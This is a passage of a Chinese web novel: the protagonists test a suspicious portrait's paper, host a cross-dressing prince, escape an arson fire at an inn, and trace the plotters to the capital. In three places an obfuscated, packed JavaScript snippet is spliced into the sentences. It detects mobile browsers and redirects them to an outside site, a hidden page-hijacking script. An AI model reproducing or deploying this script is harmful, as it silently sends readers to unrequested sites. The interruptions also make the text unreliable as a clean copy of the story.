“这竟然是洒金纸!” 只见一个穿着朴素的青年手里拿着一张白纸啧啧称叹,仿佛是见到什么罕见的大宝贝。 “传说洒金纸可以十两纹银一尺呢。”周围有人发出了艳羡之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576786|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声。 有人吹捧道:“赵兄果然豪横。” 赵新峰倒是不太懂这纸那纸的,不过家中采买的纸一直是这种。此次出远门赶考,他爹就让他凡事低调,外出尽量不漏财,免得被人谋财害命。但因为这洒金纸,这一路上已经不知道被多少人看出他家世豪横了。他打算干脆趁此机会将这些纸都分了出去。 围观的众人听说这纸免费拿,一开始都很高兴,但想着这白花花的银子他们白拿未免有点太不像个读书人了。于是有几个开始给赵新峰送一些自己誊抄的孤本,或者是自己平时记录的一些策论要点等。 赵新峰喜不自胜,全都照单收了。顺便还问了一句,普通的纸去哪里购买。 一位叫梁柏的小年轻告诉他,若是写文作诗,买楮皮纸即可。若是要作画,可选如今最受欢迎的白玉宣纸了。 另一个年轻人说不对,白玉宣纸还是不如从前的玉宣纸好用。 一时间,大堂内又开始讨论起什么纸适合做什么用,好不热闹。 姜暖吃了饭,便趴在二楼的栏杆上,听楼下两个年轻人争得急赤白脸的。 楼下俨然已经分成了两派。 一派支持玉宣纸物美价廉,另一派支持白玉宣纸虽小贵但物有所值。 从价格到材质,从触感到香味,再从色泽和绘画效果全都比对了一番。最后以白玉宣纸能墨分五色胜出。 姜暖听到后面,觉得自己只差一把瓜子了。 梁柏:“自从松竹斋三年前开始售卖白玉宣纸,这玉宣纸的销量都大不如前了。” 一旁长得有些秀气的青年附和了一句:“新人总是胜旧人喏。” 另有一人接嘴道:“这两种纸虽有一字之差,但若不细细辨别,倒是容易被店家糊弄过去。” 秀气青年笑道:“不过赵兄不作画,自是用不上,也不怕店家欺客。” 众人又是哈哈大笑一番,不久便自行散去了。 姜暖这时候却萌生了一个奇怪的想法。一个转身却发现沈晏不知道什么时候站在了她的身后,给她吓了一跳。 她方才要是不留神,脑门肯定就直接磕在对方的下巴上了。 “你走路没声儿?” 沈晏看了她一眼,转身回房:“是你自己耳朵不中用。” 姜暖腹诽:这人说话真难听。 进屋后,沈晏便将青衣的那幅画像拿了出来。姜暖在他身旁落座,心想看来沈晏也有跟她一样的想法。 这画上的落款是承安二十六年,也就是距现在有七年之久。白玉宣纸是三年前造出来售卖的,如果这画像用的是白玉宣纸,那么她是青衣这件事就是有人刻意安排的。 没多久,唐枳带着两张纸进来。 两张外观看着甚是相似的纸张在桌上平铺开来,沈晏修长的手指在两张纸上游走,姜暖的目光顺着他的指尖移动,也忍不住上手摸了一下。 这两张纸手感都是细腻的,但是白玉宣纸则更为匀整一些,气味方面倒是闻不出太大的区别。 唐枳将准备好的墨水和毛笔拿过来。只见他提笔分别在两张纸上粗略画了一颗人脑袋,左边那个扎着不对称的哪吒头,右边那个扎着漂亮的双丫髻。 虽然还没画五官,但是另外两个人都知道是画的谁。 姜暖忍不住抬头看了沈晏一眼。 他不会觉得自己很幽默吧。 等补全了五官,姜暖又抬头看了他一眼。 这人攻击性是不是有点强了? 她当时只是没扎好,不代表哪吒头不好看吧。 三张一模一样的人脸,三个不同的发型。 细细比对之下,那张青衣的画像用的竟然是白玉宣纸。 屋子里霎时间陷入了长久的沉默。 姜暖瞬间松了一口气。 还好她不是青衣。 14. 第 14 章 笃笃笃—— 不合时宜的敲门声突然在这时候响起。 此时暮色四合,寒气渐起。 姜暖还以为是店小二来加炭盆,打开门一看,发现是一位个子略高挑一点的女子。 她梳着随云髻斜插着一根穿珠流苏步摇,眉心还画了一个莲纹花钿。整体骨相偏硬朗,但眼尾上挑又让她多了一丝风情来。 那女子见姜暖,先是上下将人打量了一下,面露疑惑。接着右手搭在门框上,浑身像是没长骨头似的往那门框上一靠,看着跟过来的唐枳问:“你家世子什么时候配了个丫鬟? 姜暖本来还沉浸在这人刚刚那风情一靠的韵味中,听了这嗓门,脑子出现了短暂的空白。 这嗓音怎么听着像男的。 唐枳也吓了一跳,看见来人是谁后,赶紧行了一个礼,恭敬道:“七殿下。” 姜暖的脑子又短路了一下。 唐枳赶紧踢了踢她的脚,姜暖人还蒙着,学着刚刚唐枳的动作也行了一个礼,道了声七殿下好。 “免礼吧。”这位叫七殿下的根本就没顾上看她,径直越过她迈着优雅的步子扭了进去。 路过的时候,一阵香气袭来,熏得姜暖鼻子痒痒的,很想打喷嚏。她揉了揉鼻子,用眼神询问唐枳,这人究竟是男是女。 唐枳用手侧挡着嘴,用口型说道:“皇子。” 两人在门口一阵窸窸窣窣后才关了门回屋。屋内的两个人已经坐在一张桌子上喝茶了。 沈晏:“七殿下怎么在此处?” “自然是办差结束。” 这位七殿下名叫沈慕朝,其母是宫女出身,未满七岁时他的母妃便去世了,而后被过继到皇后的膝下养过一段时间。 许是生母的去世对他的打击太大,那一段时间都有点疯疯癫癫的,喜欢穿着小宫女的衣服满皇宫乱跑。有一次竟然偷了公主的衣服来穿,惊扰了圣驾。皇上震怒,本来打算将他送到偏远的行宫,但恰逢那日广济寺的空明主持到皇家为太后寿诞祈福。 空明大师说此子神魂因思念亡母而离体追寻,这才导致神志不明,状若疯癫。太后怜其小小年纪便经历如此丧母之痛,便命空明大师为其引魂召灵。 至此,沈慕朝的疯癫之症才渐渐好了,不过喜欢穿女装的癖好却是保留了下来。太后想他应是太过于思念母亲的缘故,心疼不已,遂接到宫中亲自抚养。直到承安十九年,太后薨逝。 那年沈慕朝十二岁,皇后欲将他接回坤宁宫,却被太后的贴身嬷嬷拦了下来。说是太后离去前留了一道口谕。太后过身后,七殿下还是继续住在太后的万寿宫中,等到了年纪再出宫开府即可。 就这样,沈慕朝在万寿宫中一直住到了十五岁,等到出宫开府那日,那嬷嬷在送走了沈慕朝后,便随太后去了。 至于他喜欢穿女装这件事,皇帝自然是不高兴的。但太后生前便不许皇帝日后因为此事过于苛责他,所以平日里皇帝都是睁一只眼闭一只眼。有时候实在是看着烦了,就打发他出去办差。短的时候一两个月,长的时候一两年。 比如这次,便是将他打发去幽州挑选良驹。他去年入夏便到了幽州,那时候新一批的小马还没长大,他只好多待了些时日。 如今年节一过,这批马也到了日子,他便启程回昭宁城了。倒是没想到,能在这里看到熟人。 沈慕朝喝了一口热茶,瓷白的杯口留下了一点口脂印。 这种好茶,他已经很久没喝到过了。 “你呢?怎么不在昭宁城好好待着?”他问,一双狐狸眼舒服地眯了起来,“难道父皇又给你派苦差事了?” 问完,他的眼睛又在姜暖的身上滴溜溜地转了好几下。 姜暖正靠在洗手架上偷懒:老看我干嘛? 沈晏看着他杯口上的口脂印皱了皱眉,“不是。”解释道:“母亲咳疾难止,听说漓州无极山有治愈灵药,便走一趟。” 沈慕朝哦了一声,一杯茶水很快下肚,他用娟帕轻轻点了下唇边的茶渍,眼珠子又往姜暖身上飘了过去。 “你府上的丫鬟?”他怎么没见过。 姜暖还在思考这个问题要怎么回答,但她觉得她在这个时候插话好像不合规矩。 沈晏已经编好了说辞:“路上捡的。” “哦?”沈慕朝来了兴趣。 沈晏面不改色:“卖身葬父。” “唐田说像他们早夭的姐姐,便买下来当个丫鬟。” 沈慕朝将信将疑地抬头看旁边站桩的唐枳,唐枳顿时神色凝重地点点头。 其实背地里,手指都要掐出血了。 姜暖感觉自己面皮抽搐了一下,连忙将脑袋垂了下去,十分佩服沈晏随口一绉的本事。 沈慕朝的目光还凝在她的身上,只听一声叹息,对方似乎是相信了这个故事。感慨道:“都是可怜之人呀……” 沈晏淡定地喝了一口茶,“嗯。” …… 寒暄过后,夜已渐深,沈慕朝便起身告辞。临走前,还不忘顺点东西:“唐枳,这茶叶还有剩的吗?” “还剩一些,我去给殿下拿。”唐枳说着就去包袱里翻。 沈慕朝看了眼桌上的茶具,又道:“茶具也给我拿一套。” 完全不把自己当外人的自觉。 不过唐枳仿佛习惯了,回道:“没有。” 这次出门,茶具就带了一套出来,世子肯定不会割爱的。 沈晏把沾了他口脂的杯子扔给他,道:“你喝过的这个杯子可以拿走。” 沈慕朝闻言哼了一声:“堂兄你竟然嫌弃我。” 姜暖看着那张偏男相的脸娇嗔,本以为会恶心得受不了,没想到对方做这种娇滴滴的表情还挺自然的。 “口脂洗不干净。”沈晏皱着眉头,把这份嫌弃坐实了。 沈慕朝像是习惯了,并未放在心上,哼哼了两声便不再说话。 姜暖的眼神在两个人之间来回扫了一遍,心道这两个人的关系看起来一会儿熟一会儿又不熟的,有点奇怪。 唐枳将茶叶包好拿过来,沈慕朝拿了茶叶便要走,余光却突然瞥到床前两张对比鲜明的地铺,他刚要跨出去的脚又收了回来。 “三个人睡一个房间,多挤啊。正好我的房间很大,放了两张床。” 他又扫了一眼姜暖,提议道:“不如,这个小丫鬟与我同住吧。” 怎么点她名儿了? 姜暖正要拒绝,沈晏已经抢先开口:“你不要以为你穿着女子罗裙就是女子了。” 又道:“我的丫鬟自然是要伺候我的。” 沈慕朝笑嘻嘻凑上前:“那堂哥你来同我住。” 姜暖想,这个就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576787|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很合理了,反正沈慕朝房间里有两张床,他们一人睡一张,合适。这个房间就她和唐枳两个人,到时候唐枳肯定不会让她一个女子睡地铺,那么她就能睡床了! 思及此,姜暖觉得这是个十分完美的分配,立马表示:“世子我送你过去。” 沈晏:“……” 谁知结果这一送,她也没能回来,最后变成了三人睡一屋。 唐枳一回头,发现他睡上豪华单间了。 沈慕朝的房间是这间客栈唯一的上房,所以房间看起来格外大。进屋是喝茶用饭的四方桌,往前走两步靠窗的位置还放了一张案牍,文房四宝配置齐全。 进门左右两边做高了一层,各放了一张床榻,床上用品皆是上好的料子,也足够宽敞,两个人睡绰绰有余。 左侧靠里放置了一屏风,屏风后面是一个浴桶和放洗脸盆的架子。右侧靠里则放了一个博古架,博古架后面则是一方梳妆台。 沈慕朝凑到姜暖身边问:“选哪个?” 姜暖看着他带笑的眉眼,觉得这个人根本就不像个皇子,就像个普通的女孩子,心里顿时对天潢贵胄原本遥不可及的距离一下就模糊了起来。她看了一下两张床榻,右边那个好像是被躺过的。于是她着左边那个,道:“我睡这个。” 好在来之前简单洗过澡了,说完大步走过去,鞋一蹬就上床躺了。 她在这之前已经累得不行了,要不是沈慕朝突然造访,这个点儿说不定早就睡沉了。也顾不上什么礼不礼的了,发髻都没拆,倒头就睡。 沈晏回头看一眼身穿女装的沈慕朝,心里觉得有点别扭。 “你换一套衣服吧。” 因为他实在无法说服自己跟穿着女装的沈慕朝睡一张床。 沈慕朝却道:“没带。” “要不,我脱光了睡吧。” 沈晏几乎要忍不住后退了,冷声道:“那你去和唐枳挤一间吧。”正好那边地铺应该还没来得及收。 沈慕朝撩了一下头发,道:“哎呀,开个玩笑嘛。堂哥你怎么这么冷漠。”说着还故意讨打似的扭着屁股去屏风后面换衣服。 沈晏:“……” 怎么有一种自己脏了的感觉。 他扭头对面床榻上的一坨隆起,觉得那床榻旁边的位置还挺宽敞,心里便思考着要不要把人摇起来打地铺。 许是听到了沈晏的恶魔心声,姜暖抓着被角将被子又往上拽了拽,直到盖住了整个脑袋。整个人被包得严严实实的,像个快破茧的蚕蛹。 沈晏叹了口气。 算了。 今日便忍一忍。 今夜,乌云遮月,山中只有轻微的风,光秃秃的树枝如鬼影憧憧。 炭盆在房间里发出噼啪的声响,整个屋子内被烘烤得暖洋洋的,只有一丝清凉的夜风从半开的窗户空隙中溜进来,将地板上的一层炭灰打了个卷儿。 屋外,有黑影闪过,一股刺鼻的气味从门缝底下慢慢渗进来。 屋内,炭盆烧得通红,积起了厚厚一层白色的灰烬,里头夹杂着一堆不怎么起眼的灰黑色粉末。 呼啦—— 火焰宛如一条游龙,贴着房间的墙根蔓延逐渐攀爬过客栈的每一个角落,最后逐渐膨胀,将客栈二楼包裹其中。 冲天的火光霎时间将小镇照亮,滚滚的浓烟直入夜空。 15. 第 15 章 姜暖是被浓烟呛醒的,醒来的时候只见天花板上是滚滚的黑烟,门板已经被烧得变形,上半截都快被烧烂了,只剩下下半截还跟门框堪堪连接着。 门外已然烈焰滔天,滚烫的火舌拼命地往房间里燎。 姜暖一开始还以为是做梦,直到一股热浪扑到她的脸上,她才一个激灵一骨碌从床上坐起,开始猛烈地咳嗽。 沈晏架着没睡醒的沈慕朝走过来,上下打量了她一眼,问:“还能走吗?” 姜暖动了两下,感觉浑身软趴趴的,看了一眼挂在沈晏身上不省人事的沈慕朝,心里明白过来,这是有人给他们下药了,难怪睡得这么死。 还好她这副身体以前做过迷药的抗药性训练,不然今晚怕是要在这儿交代了。 姜暖点点头,爬下了床。等勉强站立住后,又上前搭了一把手,接过沈慕朝另一边的胳膊架在脖子上。 “往哪儿走?” 这四面八方都是火舌,看样子已经烧了一段时间了。不过好在火是从外面烧起来的,这会儿暂时还没波及到屋顶。 他们慢慢挪到屏风后面,浴桶里有大半桶水。沈晏将屏风上搭着的衣裳扯了下来,用衣裳兜了水往窗户上泼,快烧穿了的窗户被水一浇立刻发出刺啦的声音,接着一大股水汽腾腾腾地往人脸上扑。 客栈正好背靠一个小山坡,这扇窗户推开就是一块倾斜的坡面。房间位于二楼,倒也算不上高,跳下去顶多运气不好崴脚。 等那烫人的水汽散去,姜暖二话不说一脚踹碎本就破烂的窗户,利落地往外跳,在落地时重心往前压,卸力扑倒在斜坡上。 沈晏带着沈慕朝紧随其后,不同于姜暖落地的狼狈,他轻飘飘地从二楼飞下来,抱着沈慕朝稳稳落地。 沈晏刚落地,就把怀里的人扔给姜暖:“你照看一下他,我去看看其他人。”说完迅速往回跑。 姜暖根本来不及拒绝,人还没站稳就差点被倒过来的人重新压倒地上。 “……” 四周响起街坊邻里敲盆打锣的呼救声,姜暖费力地将人扛到半山坡上的一处石头后面,隔着一个安全的距离眺望着远处冲天的火光。 直到此时此刻她才觉得有些凉意从后背升起,这背后之人竟然为了杀她一人而火烧客栈,如此丧心病狂之举不愧是五年前让三万英魂无辜丧命的真凶。 究竟是谁如此仇恨沈晏,甚至不惜让三万将士给他陪葬? …… 衙差们推着水车急匆匆而来,火场外是沸反盈天的扑救声,火场内是不断的呼救声,时断时续,不绝于耳。 火势越来越大,逐渐蔓延上了屋顶,断裂的梁柱声音刺啦响起。 姜暖看着远处的火光还有在火光里进进出出的人,决定下去帮忙。沈慕朝还没醒来,把他一个人丢在这里也不太安全,于是她动手给了沈慕朝两耳光。 “……??” 沈慕朝从昏睡中醒来,睁开眼就是姜暖放大的脸,昏沉的脑袋一下子就清明了。 “你半夜不睡觉,爬我床上干嘛?”屋里怎么凉飕飕的,他顿时打了个激灵,环顾四周,发现人在一个山坡上,他惊了:“我们不是在客栈里睡觉吗?” 姜暖努努嘴,指着那红透的半边天道:“客栈在哪儿烧着呢。” 沈慕朝翻身坐起来,瞪着那燃烧的建筑,说话都结巴了。 “这这这怎么回事!” 睡之前不还好好的,怎么突然就起了这么大的火! “哎呀,我的马!”他突然想起什么来,急里忙慌地就要下坡去,姜暖一把拽住了他的裤腰带。 “你别乱跑,沈……世子已经过去救人了。你的马应该早就跑了,安全着呢。” 动物可比人要警醒。 沈慕朝急地跺了跺脚,回头问:“那我的人逃出来没有?” 那眼睛红得好似要哭出来,雪白的寝衣方才在地上蹭了些泥点,还有从火场里带出来的炭灰,头发上还插了几根杂草。 本是七尺儿郎,此刻竟带了点孝女泣珠的娇弱,惹人怜惜。 “你别急……”姜暖的语气不由得柔软下来,手也抚上了他的后背,甚至有种想将人揽在怀里安慰的冲动。 她最见不得漂亮的女孩子流眼泪了。 嗯? 等等,好像有哪里不对。 她继续道:“世子已经赶过去救人了,其他人也在帮忙运水灭火,会没事的。” “那我们现在怎么办?”沈慕朝眨巴了一下眼睛,眼眶里的雾气散去。 “这里好冷哦。”他抱了一下胳膊,语气有点委屈。 姜暖将衣服扯紧了些,附和道:“确实。” 她方才真是被这人给迷惑了,竟然觉得他真的是一个娇弱可怜的女孩子。 叮嘱完沈慕朝别乱跑之后,姜暖才离开往客栈的方向去。 一下来就碰见了唐枳,唐枳说火势太大了,不让她进去。 “他怎么能进?”她下来时才看到人进去了,刚刚又四下看了看,没见着人出来。 唐枳知道这个他说的是谁,他抬起胳膊挡着嘴咳嗽了两声,尴尬道:“我没拦住。”世子那劲儿,老大了。 此时大火已经将建筑四周包裹得密不透风,沈晏估计是被困在里面了。 姜暖看了看屋顶,问唐枳:“你轻功好吗?能跳上去不?” 屋顶上方因为用的瓦比较特别,此时还没有完全被火焰占据。唐枳看她指的位置,立马就知道她什么意思。他立即用水将全身浇透,姜暖则找来了一根粗麻绳,用水浸湿。 死马当活马医吧,沈晏可不能在这个节骨眼死了。 唐枳拿过麻绳飞上屋顶找沈晏的位置,姜暖转身加入了灭火的队伍。 衣服被烤干后,唐枳又下来浇了一次水,好在今日夜晚没什么大风,加上衙差们推着水车来得及时,火势渐渐被控制住了。在姜暖来回不知道跑了多少次的时候,唐枳终于用绳子将沈晏从火场里拉了上来。 姜暖看着那两个人落了地,心里也松了一口气。 沈晏半边身子压在唐枳的身上不停地咳嗽,原本白皙的脸上全是黑乎乎的炭灰。她赶紧舀了一大盆水冲过去给他降温,如此来来回回跑了三四趟,他身上烫人的温度才降下来。 沈晏抬头看她,问:“殿下呢?” “在坡上呢,我给他弄醒了才过来的。”姜暖累得喘粗气,一屁股坐在他的脚边。 沈晏扭头看了一眼唐枳,唐枳领会,跑去接沈慕朝。 “那火那么大,你怎么还往里冲啊?” 沈晏咳了两声道:“能救一个是一个。” 姜暖有点诧异地抬头看他,他也垂下头看姜暖。 他脸上黑色的炭灰已经被水冲淡了,水流打湿了他的额发,沿着他的眉眼汇聚到鼻尖,在鼻尖处悬成一滴晶莹的水珠,一滴又一滴地落下。 姜暖才发现,那鼻尖处有一颗很小的痣,颜色很淡,不凑近细看根本发现不了。 就,还挺性感的。 她眨了下眼睛,从地上起来,糊着一手泥巴的手在沈晏的肩膀上拍了拍。 “你好好休息,我继续帮忙。” 沈晏歪头看着肩头黑乎乎的手指印,轻微皱了下眉头。扭过头,姜暖已经扛起一个大木桶冲向了水源。 沈晏突然就笑了。 …… “此番失手,昭宁城里的那位怕是要气死了……” 不远处的山顶上,有两道黑影隐匿在树冠下。他们透过枝叶的缝隙看向远处冲天的火光,方才说话的是一个窈窕的人影,黑色的面具遮住了她的脸。 “用不了几日,那位必然会亲自出手。”另一个黑影开口,语调低沉且绵长,“越是生气,就越容易犯错。” “何况,有他在身边,想不犯错,也难。” 当年,真青衣确实是死了,不过尸体被他们提前捞走了,大理寺结案的那一具不过是他们提前伪造的。 前些年,那位知道了尸体其实是伪造的之后,可是发了好大一通脾气,恨不得当时就将那骗他的周正杀了泄愤。当时没动周正不过是被身边的人劝着不要节外生枝,猜测周正肯定将人藏起来了,只有留着周正才能将人找到。 可这一等就是好些年一丁点消息也没有,那位也再没睡过一个安稳觉。前段时间刚得知了青衣的下落,便急不可耐地暗中派了死士来处理。结果确实几次三番碰壁,反而让他们浑水摸鱼,将自己人安插进去顺利给沈晏漏了点消息。 今夜过后,想必这位安王世子便能顺藤摸瓜,一路摸到昭宁城去。 黑影突然笑起来:“你说这人要是从最高处跌落,该有多疼啊……” “自然是粉身碎骨。”那面具女回道。 过了一会儿,她又说:“不过这假青衣似乎……已经不为我们所用了。” 假青衣是他们特意安排的一枚棋子,除了让安王世子起疑心重新调查五年前的旧案,也让昭宁城里的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582651|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位坐立难安了好些年,更让她如今自乱阵脚昏招百出。 不过这枚棋子不知为何突然不受控制,就像换了一个人,有好几次直接无视他们的联络暗号。最后要不是她去得及时,她差点毒发身亡。 真是好生奇怪。 好在一切都在往他们预想的方向发展,安王世子顺着他们给的线索查到了周正的头上。那幅伪造的画像也顺利地送到了安王世子的手上,整个过程意外地很顺利。 不过…… 黑影皱了皱眉:“安王世子应该察觉出这青衣的身份是假的了。” “怎会?” 黑影似笑了一声,慢悠悠地说道:“这世上哪儿有什么毫无破绽的把戏。”他们这一出请君入瓮,依照安王世子警惕的性子,不可能没有丝毫怀疑。 如今的情形不过是互相利用,各取所需。 “本就是一出拙劣的把戏。”黑影随手摘了一片叶子,问:“他可死了?” “死了,该留下的东西也留下了。”面具女的声音欢快起来,唇角微勾,“虽只留下了半个字,但也足够让安王世子起疑心了。” 也不枉费他们这么多年的筹谋。 远处的大火逐渐变小,最后慢慢熄灭,只有缭绕的烟雾飘向空中。 “那这个假青衣……”面具女问。 “自生自灭吧。”黑影淡淡地说道,“既然什么都记不得,那便任由她毒发而亡吧。” 棋子既已无用,自然也该舍弃。 天光大亮,山顶的黑影消失不见,客栈已经被烧得只剩下一个架子。 唐枳带人查看了每个房间,只有他们的客房炭盆里投入了迷药,起火点是在二楼客房外的走廊。火势那么大的原因很有可能是人为泼洒的桐油之类的易燃物,但是客栈几乎被烧干净了,很难采集到证据。 住在一楼的客人因为没睡得太死,被浓烟呛醒后第一时间跑出了客栈。二楼的客人倒是死伤不少,其中有一个晚间喝醉了没醒来,另一个不走运被坍塌下来的檩条砸晕了。还有两个应当是赴考的学生,因为抢夺书籍而错过了最佳的逃跑时间,被困在里面活活呛死了。 当地的县衙已经派人来善后,人人都是灰头土脸的,有几个被救出来的人都吸入了不同程度的烟尘,咳嗽声此起彼伏,均被衙差抬去了附近的医馆。 唐枳刚和赶来的县丞交代完,转头见自家世子立在人群里发愣,忙跑过去道:“主子,那东西没找到,怕是烧没了。” 沈晏看着眼前坍塌成废墟的客栈,耳边是呜呜的哭声,神色有些恍惚。听到唐枳的话,这才如梦初醒。 他撩起袍子擦了擦黑黢黢的手,说:“先安抚伤患。” 唐枳点头离开。 在他们方才不远处的位置,一个不显眼的青年悄悄地从后面退出了人群,顺着街道七拐八拐地消失在了小镇中。 而在他离开后,有人不远不近地跟在了后面。 姜暖这时候黢黑着一张脸走过来,衣裙也黑乎乎的,裙边还有被火燎过的痕迹,她手里揪着一块不知道从哪里来的破布,一边走一边擦着脸。 “什么东西没了?” “没什么。”沈晏看着她把自己的脸抹成了一张花脸,又从花脸变成更花的脸。最后应该是见擦半天都没擦干净,便烦躁地胡乱抹了两下,把破布扔了。 沈晏:“……” 好想笑,但是要忍住。 姜暖看了眼他白白嫩嫩的脸,问:“你脸上怎么这么干净?” 沈晏掏出了一块叠得整整齐齐的方巾递给她,上头甚至沾染了他身上的一丝香气,料子看着就很柔软。 姜暖虔诚地接过来,在手掌上摊开,然后颇为狂野地洗了一把脸,最后顺手就揣在了自己怀里。 “洗干净了还你。”这人喜洁她是知道的。 沈晏无声挑眉,心说倒也不用,他不缺。 忍不住又暼了一眼她,发现她眉尾处还有一小块灰色的污渍没擦干净,他想也没想便直接上手用拇指的指腹替她擦干净了。黑色的小痣显露出来,烙在眉尾处,似一点星火落尽了他的眼中。 两个人都被这种很自然亲昵的动作吓了一跳,姜暖则是挑了一下眉,表示很受宠若惊。沈晏看着那贴着自己指腹边上下晃动的小痣,猛地从尴尬的气氛中回过神来,撤回手时顺带在姜暖的衣服上蹭了一下手指,表情颇为嫌弃地将那指腹上残留的污渍擦干净。 姜暖:“啧。” 死洁癖。 16. 第 16 章 “堂哥!!!” 听说沈晏他们要即刻启程,沈慕朝都没心情找地方梳妆打扮,一蹦三尺高。 “我要跟你们一起走!带上我带上我带上我。”沈慕朝急吼吼地冲过来,一把牵住了沈晏的袖子左右晃。 姜暖表情古怪地用肩膀撞了一下唐枳,唐枳递来一颗野枣。她嘴里嘎吱嘎吱,眼神在两人之间来回转。 好娇俏的郎君啊~ 可惜,另一个郎君不解风情。 沈晏用两根手指捏着自己的袖子慢慢地拽了回来,面上有点无语。 “你就不能好好说话?” 沈慕朝登时原地一叉腰,腰胯还往前送了一送,像个要食物的大熊猫。 “那你捎上我。”一副理不直气也壮的模样。 沈晏掸了掸衣袖,无情地拒绝:“殿下还要寻找丢失的良驹,怕是不方便。” 沈慕朝一听这就是借口,好在他脸皮厚,忙不迭道:“方便的方便的。” 他连忙喊来几个手下,把飞龙使的腰牌给了运送队伍里领头的那位,然后吩咐他们留下来将受惊跑丢的几匹马驹找到,择日再运回昭宁城。 领头那人接过令牌,点头哈腰地表示一定将差事办好,拍着胸脯保证将良驹一匹不落地送回昭宁城。 “这下总没问题了吧。”沈慕朝扬着下巴。 都到这个份儿上了,沈慕朝是铁了心要与他们同路了。沈晏也不好拒绝,便答应了。 不过临出发前,又出现了一个问题。 我们娇弱的七殿下不善骑马,也不喜欢骑马,觉得颠屁股难受,手一挥便财大气粗地买了辆镇上最宽敞舒适的马车。 沈晏骑在马上,看着眼前这辆明显跑不快的马车,冷漠道:“你还是留下来跟你的人一起吧。” “别这么无情嘛。”沈慕朝把下巴搁在马车窗户口上,眼神幽怨。“堂哥你忍心丢下我不管吗?昨夜那场大火可是差点让我丢了性命。” 沈晏欲言又止,止言又欲。 沈慕朝不依不饶旁若无人地继续撒娇。 姜暖坐在唐枳身后看得直乐,没想到七殿下是个如此喜欢撒娇哭弱的性子,而沈晏好像有点招架不住。偏偏这个七殿下就不知道什么叫厚脸皮,缠人的功夫炉火纯青,沈晏只能节节败退。 “七殿下为什么非要与我们同行啊?” 姜暖没忍住,凑过去同唐枳咬耳朵。 唐枳压低了嗓门道:“七殿下胆子小,估计昨夜被吓着了。” 其实是七殿下怀疑昨夜的大火是冲着他来的。 据说七殿下从还没出生算起,就不太顺利。在很小的时候就遭遇了各种意外,但每次都命大活下来了。六岁多的时候生了怪病差点一命呜呼,听说是他的母妃日夜求佛才将他救了回来,但是她的母妃却因为这件事被关在冷宫里活活饿死了。 万幸后来由太后亲自照看,倒是风平浪静了许多年。 昨夜许是让七殿下又开始担惊受怕了吧。 姜暖看着车里噘嘴控诉沈晏的沈慕朝,理解地点点头。这样柔弱的儿郎,胆小也是应该的。 沈晏估计是嫌他太吵了,也可能是没招了,就要点头答应下来。 姜暖一副果然如此的表情,感慨道:“你们世子跟七殿下关系还挺好。”感觉都有点纵容了。明明看着不太愿意搭理,但每次都耐心听人把话说完。 “那是我们世子心好。”唐枳不由得挺起了胸膛,“我们世子当年……” 姜暖竖起耳朵正要听他吹,沈晏突然点她名,“你也去坐马车。” 她本来想拒绝,但想了一下现在是人家丫鬟,在万恶的封建时代,丫鬟是没有权利和主子叫板顶嘴的。便认命地爬下了马,临走不忘对唐枳叮嘱道:“待会儿空了继续。” 唐枳感受到自家世子压迫的眼神缩了缩脖子敷衍道:“再说、再说。” 由于沈慕朝的加入,队伍行进的节奏就变慢了一些。两三个时辰便会停下来休息一会儿,姜暖已然成了沈慕朝的丫鬟,一会儿口渴了,一会儿又饿了。 说实话姜暖很想打晕他,甚至在某一次休息的途中特地去问了一下沈晏,沈晏笑着看了她一眼,说了一句话。 “袭击皇子你知道是什么罪名么?” 她就不说话了,认命地去拿水囊和干粮。 沈慕朝吃饱喝足懒洋洋地斜靠在软垫上,用手指细细地梳理着自己的头发。这次大火把他带的所有梳妆用具都烧没了,现在连一把像样的梳子都找不到。 他斜眼看了一眼姜暖,吩咐道:“你来替我绾发。” 姜暖老实道:“我就会梳两个发型。”之前只会扎哪吒头,现在已经学会双丫髻了。 沈慕朝坐直了身体,指着她的双丫髻道:“不要这个,给我梳另外一种。” 姜暖开心地撸起了袖子,“殿下,奴婢献丑了。” 马车外,唐枳和沈晏勒马远远坠在马车后面。 尾随可疑之人的暗卫带来了消息,说跟着对方去了一处偏僻的地方,那人放飞了一只信鸽。鸽子飞了一段距离便被暗卫截了,看了一眼内容又原封不动地放回去。 信中写道:人无恙,但画已毁。 而信鸽每飞往一个地方被人接手,便立刻重新换一只鸽子,如此在几个地方兜了几圈换了一批鸽子后,才飞往最终的目的地。 “信鸽最后去的何处?”沈晏问。 唐枳小声答道:“昭宁城,工部营缮所所正,李维翰的府邸。” 李家,是当今皇后的外祖家。这个李维翰便是当今皇后的表兄,其父亲是如今内阁大学士——李崇义。其祖父生前是大昭国的大将军李敬修。 这大昭的江山,李家可谓是占了一半。 